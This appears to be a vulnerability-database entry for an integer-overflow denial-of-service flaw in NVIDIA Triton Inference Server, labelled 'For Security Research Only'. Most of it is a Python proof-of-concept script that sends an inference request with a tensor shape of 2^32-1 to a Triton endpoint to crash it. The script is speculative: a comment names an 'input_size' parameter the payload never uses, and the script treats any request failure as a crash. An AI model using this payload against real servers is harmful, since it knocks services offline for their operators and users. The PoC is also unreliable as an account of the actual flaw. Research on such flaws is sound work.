NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause an integer overflow. A successful exploit of this vulnerability might lead to denial of service.
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA Triton Inference Server (具体受影响版本请参考 NVIDIA 官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# This is a conceptual PoC for CVE-2026-24210
# It demonstrates sending a payload that might trigger an integer overflow
# by sending a very large size parameter to the inference server.
target_url = "http://target-triton-server:8000/v2/models/test/infer"
# Constructing a malicious payload
# Assuming a vulnerable parameter 'input_size' triggers overflow when too large
malicious_payload = {
"inputs": [
{
"name": "input0",
"shape": [4294967295], # Potential trigger for integer overflow (2^32 - 1)
"datatype": "FP32",
"data": []
}
]
}
try:
print(f"Sending payload to {target_url}...")
response = requests.post(target_url, json=malicious_payload, timeout=5)
print(f"Response Status Code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Request failed or server crashed (DoS): {e}")